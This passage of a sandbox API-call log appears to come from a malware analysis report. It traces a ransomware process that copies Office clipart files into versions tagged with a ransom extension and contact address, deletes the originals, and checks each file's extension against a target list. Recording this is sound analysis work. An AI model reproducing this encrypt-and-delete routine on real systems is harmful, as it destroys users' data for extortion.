lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xe392, lpOverlapped=0x0) returned 1 [0149.749] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0149.751] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.751] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.751] SetEndOfFile (hFile=0x378) returned 1 [0149.751] CloseHandle (hObject=0x378) returned 1 [0149.751] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.752] SetEndOfFile (hFile=0x374) returned 1 [0149.753] CloseHandle (hObject=0x374) returned 1 [0149.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0149.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.754] lstrlenW (lpString=".doc") returned 4 [0149.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.754] lstrlenW (lpString=".docx") returned 5 [0149.754] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.754] lstrlenW (lpString=".pdf") returned 4 [0149.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.754] lstrlenW (lpString=".xls") returned 4 [0149.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.754] lstrlenW (lpString=".xlsx") returned 5 [0149.754] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.754] lstrlenW (lpString=".ppt") returned 4 [0149.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.754] lstrlenW (lpString=".zip") returned 4 [0149.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.754] lstrlenW (lpString=".rar") returned 4 [0149.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.754] lstrlenW (lpString=".bz2") returned 4 [0149.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.754] lstrlenW (lpString=".7z") returned 3 [0149.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.754] lstrlenW (lpString=".dbf") returned 4 [0149.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.754] lstrlenW (lpString=".1cd") returned 4 [0149.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.754] lstrlenW (lpString=".jpg") returned 4 [0149.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.755] lstrlenW (lpString=".doc") returned 4 [0149.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.755] lstrlenW (lpString=".docx") returned 5 [0149.755] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.755] lstrlenW (lpString=".pdf") returned 4 [0149.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.755] lstrlenW (lpString=".xls") returned 4 [0149.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.755] lstrlenW (lpString=".xlsx") returned 5 [0149.755] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.755] lstrlenW (lpString=".ppt") returned 4 [0149.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.755] lstrlenW (lpString=".zip") returned 4 [0149.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.755] lstrlenW (lpString=".rar") returned 4 [0149.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.755] lstrlenW (lpString=".bz2") returned 4 [0149.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.755] lstrlenW (lpString=".7z") returned 3 [0149.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.755] lstrlenW (lpString=".dbf") returned 4 [0149.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.862] lstrlenW (lpString=".1cd") returned 4 [0149.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0149.862] lstrlenW (lpString=".jpg") returned 4 [0149.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.862] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.862] lstrlenW (lpString="J0099173.WMF") returned 12 [0149.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0149.863] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=37140) returned 1 [0149.863] CloseHandle (hObject=0x348) returned 1 [0149.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0149.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0149.863] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.863] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.173] GetLastError () returned 0x0 [0150.173] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x9114, lpOverlapped=0x0) returned 1 [0150.174] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x9120, lpOverlapped=0x0) returned 1 [0150.175] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.175] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.175] SetEndOfFile (hFile=0x378) returned 1 [0150.176] CloseHandle (hObject=0x378) returned 1 [0150.176] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.176] SetEndOfFile (hFile=0x348) returned 1 [0150.177] CloseHandle (hObject=0x348) returned 1 [0150.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0150.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.177] lstrlenW (lpString=".doc") returned 4 [0150.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.177] lstrlenW (lpString=".docx") returned 5 [0150.177] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0150.177] lstrlenW (lpString=".pdf") returned 4 [0150.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.177] lstrlenW (lpString=".xls") returned 4 [0150.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.177] lstrlenW (lpString=".xlsx") returned 5 [0150.177] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0150.177] lstrlenW (lpString=".ppt") returned 4 [0150.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.177] lstrlenW (lpString=".zip") returned 4 [0150.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.178] lstrlenW (lpString=".rar") returned 4 [0150.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.178] lstrlenW (lpString=".bz2") returned 4 [0150.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.178] lstrlenW (lpString=".7z") returned 3 [0150.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.178] lstrlenW (lpString=".dbf") returned 4 [0150.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.178] lstrlenW (lpString=".1cd") returned 4 [0150.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.178] lstrlenW (lpString=".jpg") returned 4 [0150.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.178] lstrlenW (lpString=".doc") returned 4 [0150.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.178] lstrlenW (lpString=".docx") returned 5 [0150.178] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0150.178] lstrlenW (lpString=".pdf") returned 4 [0150.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.179] lstrlenW (lpString=".xls") returned 4 [0150.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.179] lstrlenW (lpString=".xlsx") returned 5 [0150.179] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0150.179] lstrlenW (lpString=".ppt") returned 4 [0150.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.179] lstrlenW (lpString=".zip") returned 4 [0150.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.179] lstrlenW (lpString=".rar") returned 4 [0150.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.179] lstrlenW (lpString=".bz2") returned 4 [0150.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.179] lstrlenW (lpString=".7z") returned 3 [0150.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.179] lstrlenW (lpString=".dbf") returned 4 [0150.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.179] lstrlenW (lpString=".1cd") returned 4 [0150.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0150.179] lstrlenW (lpString=".jpg") returned 4 [0150.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.179] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.179] lstrlenW (lpString="J0099174.WMF") returned 12 [0150.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.180] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=6214) returned 1 [0150.180] CloseHandle (hObject=0x348) returned 1 [0150.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0150.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.180] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.180] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.180] GetLastError () returned 0x0 [0150.180] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1846, lpOverlapped=0x0) returned 1 [0150.181] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1850, lpOverlapped=0x0) returned 1 [0150.182] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.182] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.182] SetEndOfFile (hFile=0x378) returned 1 [0150.182] CloseHandle (hObject=0x378) returned 1 [0150.182] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.183] SetEndOfFile (hFile=0x348) returned 1 [0150.183] CloseHandle (hObject=0x348) returned 1 [0150.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.184] lstrlenW (lpString=".doc") returned 4 [0150.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.184] lstrlenW (lpString=".docx") returned 5 [0150.184] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.184] lstrlenW (lpString=".pdf") returned 4 [0150.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.184] lstrlenW (lpString=".xls") returned 4 [0150.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.184] lstrlenW (lpString=".xlsx") returned 5 [0150.184] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.184] lstrlenW (lpString=".ppt") returned 4 [0150.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.184] lstrlenW (lpString=".zip") returned 4 [0150.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.184] lstrlenW (lpString=".rar") returned 4 [0150.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.184] lstrlenW (lpString=".bz2") returned 4 [0150.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.184] lstrlenW (lpString=".7z") returned 3 [0150.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.184] lstrlenW (lpString=".dbf") returned 4 [0150.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.184] lstrlenW (lpString=".1cd") returned 4 [0150.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.185] lstrlenW (lpString=".jpg") returned 4 [0150.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.185] lstrlenW (lpString=".doc") returned 4 [0150.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString=".docx") returned 5 [0150.185] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.185] lstrlenW (lpString=".pdf") returned 4 [0150.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString=".xls") returned 4 [0150.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.185] lstrlenW (lpString=".xlsx") returned 5 [0150.185] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.185] lstrlenW (lpString=".ppt") returned 4 [0150.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.185] lstrlenW (lpString=".zip") returned 4 [0150.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.185] lstrlenW (lpString=".rar") returned 4 [0150.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString=".bz2") returned 4 [0150.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString=".7z") returned 3 [0150.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.185] lstrlenW (lpString=".dbf") returned 4 [0150.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.185] lstrlenW (lpString=".1cd") returned 4 [0150.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0150.185] lstrlenW (lpString=".jpg") returned 4 [0150.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.186] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.186] lstrlenW (lpString="J0099175.WMF") returned 12 [0150.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.186] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=9744) returned 1 [0150.186] CloseHandle (hObject=0x348) returned 1 [0150.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0150.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.186] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.186] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.187] GetLastError () returned 0x0 [0150.187] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2610, lpOverlapped=0x0) returned 1 [0150.188] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2620, lpOverlapped=0x0) returned 1 [0150.189] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, 